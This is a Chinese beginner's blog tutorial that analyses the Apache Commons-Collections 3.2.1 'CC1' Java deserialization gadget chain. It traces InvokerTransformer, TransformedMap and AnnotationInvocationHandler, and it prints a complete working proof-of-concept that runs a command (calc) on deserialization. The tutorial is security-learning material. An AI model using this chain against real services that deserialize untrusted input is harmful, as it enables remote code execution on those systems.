JAVA反序列化系列--CC链1分析详解

目录

一.配置环境

1)创建一个mevan项目

2)pom.xml添加commons-collections 3.2.1

3)准备JDK源码,方便调试

修改maven配置文件

二.前置知识

总览:以下三个类在后续会接触和使用到(ChainedTransformer和ConstantTransformer在编辑poc时需要用到)

详解

1.InvokerTransformer类

构造函数

transform() 方法实现

正常写法(直接调用):

反射写法(等价于上面的代码):

用InvokerTransformer的写法:

2. ChainedTransformer.transform()--这个也是编写poc的第一步-可先理解

功能

示例代码

关键点

3. ConstantTransformer.transform()

功能

实现原理

示例代码

关键点

三.分析链

第一部分 链的执行点--InvokerTransformer#transform

1.找到执行点

2.利用代码

3.接着寻找

小结:通过第一部分清楚了链的执行点--了解了InvokerTransformer动态调用方法,接着找到了第二部分

第二部分 TransformedMap#checkSetValue方法

2.1valueTransformer是否可控制

寻找跟进路线

decorate()三个参数分析

梳理小结

2.2checkSetValue(Object value)的value值我们能否控制

寻找setValue调用

完整CC1链的触发流程

1.cc链入口点

解决问题构造poc--根据这个入口点需要清楚并解决几个问题

poc

总览

问题详解:

1. 核心问题:Runtime 对象无法直接序列化--InvokerTransformer反射调用

使用 InvokerTransformer 动态调用 Runtime.getRuntime()

2.绕过类型检查--ConstantTransformer 返回一个固定的值

3.Transformer 链的构造

3. memberValues 的构造

4.反射构造 AnnotationInvocationHandler

5. 序列化和反序列化

自我一段话总结:


 java反序列化系列--cc链1,仅小白自学梳理,适合没有什么java基础学习理解,有待改进或错误大佬请指

一.配置环境

1)创建一个mevan项目,JDK选择8u65

2)pom.xml添加commons-collections 3.2.1
<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
3)准备JDK源码,方便调试

下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

点zip下载

下载解压之后将文件中的sun目录(具体路径为jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes)放入JDK 8u66的src目录下。

回到idea,点击项目结构

点击sdk,注意jdk路径选择下载好的jdk8u65的路径,点击+添加刚刚的sun包

右键pom.xml,选择maven,选择下载代码,

外部库出现这个就是成功了,如果没有的话,可能是maven卡了,或者maven配置有问题,下载代码太慢的话可以配置阿里云镜像,下载就很快了

修改maven配置文件

在conf>setting.xml

注意这里要修改为自己的本地仓库路径,修改完可以直接使用

<!-- 自定义本地仓库路径(取消注释并修改为你的实际路径) -->

<localRepository>E:\001Windows Application\apache-maven-3.6.1-bin\apache-maven-3.6.1\mvn-repo</localRepository>

<?xml version="1.0" encoding="UTF-8"?>

<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">

  <!-- 自定义本地仓库路径(取消注释并修改为你的实际路径) -->
  <localRepository>E:\001Windows Application\apache-maven-3.6.1-bin\apache-maven-3.6.1\mvn-repo</localRepository>

  <!-- 插件组(默认无需修改) -->
  <pluginGroups>
  </pluginGroups>

  <!-- 代理配置(如果需要代理访问网络,取消注释并填写) -->
  <proxies>
    <!--
    <proxy>
      <id>optional</id>
      <active>true</active>
      <protocol>http</protocol>
      <username>proxyuser</username>
      <password>proxypass</password>
      <host>proxy.host.net</host>
      <port>80</port>
      <nonProxyHosts>local.net|some.host.com</nonProxyHosts>
    </proxy>
    -->
  </proxies>

  <!-- 服务器认证(如部署到私有仓库需配置) -->
  <servers>
    <!--
    <server>
      <id>deploymentRepo</id>
      <username>repouser</username>
      <password>repopwd</password>
    </server>
    -->
  </servers>

  <!-- 镜像配置(修复:启用阿里云镜像加速) -->
  <mirrors>
    <mirror>
      <id>alimaven</id>
      <mirrorOf>central</mirrorOf>
      <name>aliyun maven</name>
      <url>https://maven.aliyun.com/repository/central</url>
    </mirror>
  </mirrors>

  <!-- 配置文件(默认无需修改) -->
  <profiles>
    <!-- 示例:JDK 1.8 的 Profile
    <profile>
      <id>jdk-1.8</id>
      <activation>
        <jdk>1.8</jdk>
      </activation>
      <properties>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
      </properties>
    </profile>
    -->
  </profiles>

  <!-- 默认激活的 Profile(按需取消注释) -->
  <!--
  <activeProfiles>
    <activeProfile>jdk-1.8</activeProfile>
  </activeProfiles>
  -->

</settings>

点击文件,点击设置,用户设置文件和本地仓库点击重写,选择你更新过的设置文件和自己的本地仓库

二.前置知识

总览:以下三个类在后续会接触和使用到(ChainedTransformerConstantTransformer在编辑poc时需要用到)

类名

功能

关键点

InvokerTransformer

反射调用目标对象的方法

需要指定方法名、参数类型和参数值

ChainedTransformer

链接多个 Transformer

,依次执行

前一个 Transformer

的返回值作为下一个的输入

ConstantTransformer

返回固定值

不依赖输入参数,总是返回实例化时传入的

详解

1.InvokerTransformer类

通过反射机制实现了动态方法调用功能

(后面因为Runtime.getRuntime(),它是不能直接序列化的,所以要通过InvokerTransformer的反射调用它,)

构造函数

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;    // 要调用的方法名
    this.iParamTypes = paramTypes;    // 方法参数类型数组
    this.iArgs = args;               // 方法参数值数组
}

transform() 方法实现

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (Exception ex) {
        throw new FunctorException("InvokerTransformer: Failed to invoke method", ex);
    }
}

正常写法(直接调用):
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");
// 直接调用exec方法打开计算器
反射写法(等价于上面的代码):
// 1. 获取Runtime实例
Runtime runtime = Runtime.getRuntime();

// 2. 通过反射获取exec方法
Method execMethod = runtime.getClass()
                          .getMethod("exec", String.class);

// 3. 反射调用exec方法
execMethod.invoke(runtime, "calc.exe");
用InvokerTransformer的写法:
// 创建一个"方法调用器"(告诉它:用String参数调用exec方法)
InvokerTransformer invoker = new InvokerTransformer(
    "exec",                     // 方法名
    new Class[]{String.class},  // 方法参数类型
    new Object[]{"calc.exe"} // 参数值
);
Runtime runtime = Runtime.getRuntime();
// 对runtime对象应用这个转换器
invoker.transform(Runtime.getRuntime());

2. ChainedTransformer.transform()--这个也是编写poc的第一步-可先理解

功能
  • 将多个 Transformer 链接起来,依次执行它们的 transform() 方法。
  • 前一个 Transformer 的返回值会作为下一个 Transformer 的输入参数。
示例代码
Transformer[] transformers = {
    new ConstantTransformer(Runtime.class), // 第一步:获取 Runtime 类
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 第二步:获取 getRuntime 方法
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 第三步:调用 getRuntime 方法
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) // 第四步:执行 calc 命令
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Object result = chainedTransformer.transform(null); // 依次执行所有 Transformer
关键点
  • ChainedTransformertransform() 方法会依次执行链中的所有 Transformer
  • 每个 Transformer 的返回值会作为下一个 Transformer 的输入参数。
  • 最终返回最后一个 Transformer 的结果。

3. ConstantTransformer.transform()

功能
  • 返回一个固定的值,该值在实例化时指定。
实现原理
  • 在实例化时,传入一个对象(iConstant)。
  • 在调用 transform() 方法时,无论传入什么参数,都会返回这个固定的值。
示例代码

java

Object constantValue = "Hello, World!";
ConstantTransformer constantTransformer = new ConstantTransformer(constantValue);
Object result = constantTransformer.transform(null); // 返回 "Hello, World!"
关键点
  • ConstantTransformertransform() 方法总是返回实例化时传入的固定值。
  • 它不依赖于输入参数。

三.分析链

第一部分 链的执行点--InvokerTransformer#transform

1.找到执行点

--InvokerTransformer#transform开始跟

可以发现transform方法,接收一个Object参数,然后对该Object通过反射获取其类对象,然后获取其方法对象,之后invoke调用该方法。涉及的核心代码:

可反射调用传递进来的对象的某个方法来执行

这里面涉及到几个参数

  • this.iMethodName:反射使用的方法名(方法名)
  • this.iParamTypes:反射使用的方法的参数类型列表(参数类型)
  • this.iArgs:被调用方法的参数列表(参数值)

这几个参数都是this.开头的,所以是由该类InvokerTransformer的构造函数赋予其值的。

2.利用代码

有了这些可以写一下利用代码:

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

public class testc1 {
    public static void main(String[] args) throws Exception {

        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}  // Windows 计算器命令
        );
        Runtime runtime = Runtime.getRuntime();
        invokerTransformer.transform(runtime);
    }
}

成功执行命令,但是这样还不行,因为最终需要找到readObject()方法处,也就是反序列时执行readObject()方法,进而自动执行transform()方法才行。

3.接着寻找

接下来需要找一下哪个位置有调用transform()方法

【查找用法,如果显示没有实现,记得看下查找用法范围,可以选择所有位置,就可以找到了】

找不同命名调用的transform,找到checkSetValue(Object)中调用了transform

小结:通过第一部分清楚了链的执行点--了解了InvokerTransformer动态调用方法,接着找到了第二部分

第二部分 TransformedMap#checkSetValue方法

2.1valueTransformer是否可控制

它执行后返回valueTransformer.transform,那么我们要看的就是Transformer的值我们能否控制

寻找跟进路线

1.checkSetValue方法是protected修饰的,无法直接调用

接着找

2.ctrl+左键找到valueTransformer赋值的地方,也是protected

接着找

3.在TransformedMap中可以设置Transformer的值,这里也是使用protected,接着找对TransformedMap怎么实例化的

4.TransformedMap有一个decorate静态构造方法,调用了TransformedMap

decorate()三个参数分析

它这里三个参数,map、keyTransformer、valueTransformer,我们要控制的是valueTransformer

1.keyTransformer可以设置为null

  • 作用:对 Map键(Key) 进行转换的 Transformer 对象。
  • 允许为 null:如果为 null,表示不对键进行任何转换。

map跟下去不能为空

3.valueTransformer

  • 作用:对 Map值(Value) 进行转换的 Transformer 对象。
  • 安全风险:如果传入恶意 Transformer(如 InvokerTransformer)就可以达到目的
梳理小结

这里总结一下,我们上面通过第一部分发现了InvokerTransformer可以反射调用,但我们希望找到反序列时执行readObject()方法,进而自动执行transform()方法

所以我们接着往下找,找到第二部分TransformedMap#checkSetValue方法中有return valueTransformer.transform(value),我们想要看能不能控制valueTransformer,于是接着跟进

找到TransformedMap有一个decorate静态构造方法其中有三个参数,可以控制,最后一个参数就是valueTransformer

那我们就可以构造把构造好的invokerTransformer赋值给valueTransformer那么checkSetValue的return valueTransformer.transform(value)就等同于return InvokerTransformer.transform(value)

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> Map = new HashMap<>();//创建一个操作的Map

TransformedMap.decorate(Map,null,invokerTransformer);

2.2checkSetValue(Object value)的value值我们能否控制

因为checkSetValueprotected 方法,不能直接调用,需通过其他方法间接触发。

所以接着找

这里只有一处调用org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry

#setValue

那么可以通过setValue(值)-->checkSetValue(值)-->transform(值)

寻找setValue调用

优先看有没有哪个类的readObject()调用

这里发现有一个sun.reflect.annotation.AnnotationInvocationHandler#readObject

这里是入口点

这里我们要触发memberValue.setValue,我们看memberValue是从哪来的

ctrl+左键找到membervalue从哪里来

可以通过它的构造方法传入,然后它的参数是一个注解,一个map,一个Object

至此整条链就已经完整了

反向分析完了,现在就正向链接

完整CC1链的触发流程

反序列化 → AnnotationInvocationHandler.readObject() 
        → TransformedMap.setValue() 
        → ChainedTransformer.transform() 
        → Runtime.exec()

1.cc链入口点

AnnotationInvocationHandler.readObject() 是 CC1链的入口点

private void readObject(java.io.ObjectInputStream s) 
    throws java.io.IOException, ClassNotFoundException {
    
    // 1. 默认反序列化操作:恢复对象的非静态/瞬态字段(包括memberValues)
    s.defaultReadObject();

    // 2. 检查注解类型有效性
    AnnotationType annotationType = null;
    try {
        // 获取注解类型的元信息(例如@Target注解的成员方法)
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // 攻击者可能伪造非注解类型,此处会阻断攻击
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    // 3. 获取注解成员方法的返回类型(例如@Target的value()方法返回ElementType[])
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // 4. 遍历memberValues(攻击者可控的Map)
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();  // 获取Map的key(注解成员名,如"value")
        Class<?> memberType = memberTypes.get(name);  // 获取注解成员的类型

        // 5. 仅处理注解中真实存在的成员
        if (memberType != null) {  
            Object value = memberValue.getValue();  // 获取Map中的value(攻击者可能注入恶意对象)

            // 6. 检查值类型是否匹配注解成员类型
            if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                // 类型不匹配时,触发关键漏洞点:
                // 如果memberValue是TransformedMap.Entry,setValue()会调用checkSetValue()
                // 进而执行攻击者预设的Transformer链(如Runtime.exec())
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]")
                    .setMember(annotationType.members().get(name))
                );
            }
        }
    }
}

解决问题构造poc--根据这个入口点需要清楚并解决几个问题

老规矩我喜欢先放全貌再详解,先放完整poc(非本人亲写,别的大佬的,我只进行了注解)

poc

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class SerializationExploit {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        // 定义一系列的 Transformer,用于链式调用
        Transformer[] transformer = new Transformer[]{
                // 第一步:获取 Runtime 类
                new ConstantTransformer(Runtime.class),
                // 第二步:调用 Runtime 类的 getMethod 方法,获取 getRuntime 方法
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                // 第三步:调用 getRuntime 方法,获取 Runtime 实例
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                // 第四步:调用 Runtime 实例的 exec 方法,执行 calc 命令
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // 将上述 Transformer 链接起来
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

        // 创建一个 HashMap,并用 TransformedMap 装饰它,将 Transformer 应用于 Map 的值
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value", "aaa");
        Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);

        // 使用反射创建一个 AnnotationInvocationHandler 实例
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true); // 破坏访问限制
        Object o = declaredConstructor.newInstance(Target.class, decorate); // 创建实例

        // 序列化对象
        serialize(o);
        // 反序列化对象,触发漏洞
        unserialize("ser.bin");
    }

    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    // 反序列化方法
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object o = objectInputStream.readObject();
        return o;
    }

    // 空的注解类,用于反射创建 AnnotationInvocationHandler
    @interface Target {
    }
}

成功实现

总览

  1. 使用 InvokerTransformer 动态调用 Runtime.getRuntime()(不能直接序列化)
  2. 使用 ChainedTransformer构造 Transformer 链,用于在反序列化时执行恶意代码。
  3. 使用 TransformedMap.decorate()构造装饰后的 Map,以便在反序列化时触发 Transformer 链。
  4. 使用反射构造 AnnotationInvocationHandler,绕过私有构造方法的限制。
  5. 实现序列化和反序列化,触发漏洞。

5。

问题详解:

1. 核心问题:Runtime 对象无法直接序列化--InvokerTransformer反射调用
  • Runtime 类没有实现 Serializable 接口,无法直接通过反序列化恢复 Runtime.getRuntime()
  • 但我们攻击仍然希望 在反序列化时执行 Runtime.getRuntime().exec("calc.exe"),因此需要一种间接调用的方式。

2. 解决方案:利用InvokerTransformer反射动态调用 Runtime.getRuntime()

既然 Runtime 对象本身无法序列化,但 Class 对象(如 Runtime.class)和反射方法(getMethodinvoke)是可以序列化的,因此可以:

  1. 序列化 Runtime.classClass 对象可序列化)。
  2. 序列化 getRuntime 方法的调用链(通过 InvokerTransformer)。
  3. 在反序列化时重新触发 getRuntime() 并执行 exec
使用 InvokerTransformer 动态调用 Runtime.getRuntime()

2.绕过类型检查--ConstantTransformer 返回一个固定的值
  • 问题:在 AnnotationInvocationHandler.readObject() 中,会检查 memberValues 中的值是否符合注解成员的类型。如果类型不匹配,会抛出 AnnotationTypeMismatchExceptionProxy
  • 解决方案
    • 使用 ConstantTransformer 返回一个固定的值,绕过类型检查。
3.Transformer 链的构造
  • 问题:我们需要构造一个 Transformer 链,使它在 setValue 方法中被调用时能够执行恶意代码
  • 解决方案
    • 使用 ChainedTransformer(前置知识有) 将多个 Transformer 链接起来。
    • 每个 Transformer 的返回值会作为下一个 Transformer 的输入参数。
3. memberValues 的构造

入口点源代码

  • 问题memberValues 是一个 Map,它的键是注解成员的名称,值是对应的值。我们需要构造这个 Map,并确保它能够触发漏洞。
  • 解决方案
    • 使用 TransformedMap.decorate() 方法来装饰 Map,使其在 setValue 方法中调用我们预设的 Transformer 链。
    • 第二部分三个参数那里我们分析过参数值

4.反射构造 AnnotationInvocationHandler
  • 问题AnnotationInvocationHandler 的构造方法是私有的,需要通过反射来调用。
  • 解决方案
    • 使用反射获取 AnnotationInvocationHandler 的构造方法,并设置其可访问性为 true

5. 序列化和反序列化
  • 问题:我们需要将构造好的 AnnotationInvocationHandler 对象序列化到文件中,然后反序列化以触发漏洞。
  • 解决方案
    • 使用 ObjectOutputStream 将对象序列化到文件。
    • 使用 ObjectInputStream 从文件中反序列化对象。

详细可以看第一篇反序列化入门--

综上cc链1分析结束

自我一段话总结:

cc链1

核心问题InvokerTransformer反射调用是执行点,因为Runtime没有实现Serializable接口,不能直接反序列化Runtime.getRuntime()。虽然Runtime不能序列化,但Runtime.classgetRuntime方法的调用链可以序列化。通过反射调用Runtime.class.getMethod("getRuntime") → invoke() → exec(),将不可序列化的Runtime对象转换为可序列化的反射调用链,就解决了这个核心问题。

反向分析过程

  1. transform切入,发现ValueTransformer.transform()也被调用,它是由TransformedMap.checkSetValue()控制的。

  2. 接着找ValueTransformer能否控制,追溯到TransformedMap.decorate()可以设置ValueTransformer的值,同时分析其他参数的取值。

  3. 因为TransformedMap.checkSetValue()是私有的,继续查找哪里调用了它,追溯到setValue()方法。

  4. 最后寻找哪个类调用了setValue()readObject(),找到了入口点AnnotationInvocationHandler。至此,反向分析完成整个利用链的构造。

正向流程
当反序列化AnnotationInvocationHandler时,其readObject()方法会遍历内部封装的Map的所有键值对,并调用TransformedMap.setValue()方法。这个操作会触发checkSetValue()检查,进而执行注册的ValueTransformer.transform()。此时,ValueTransformer被设置为恶意的ChainedTransformer,就会依次执行预设的反射调用链:

  1. 通过Runtime.class获取getRuntime()方法;

  2. 反射调用获取Runtime实例;

  3. 最终执行Runtime.getRuntime().exec("calc.exe")命令,实现反序列化时的任意命令执行。


 


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值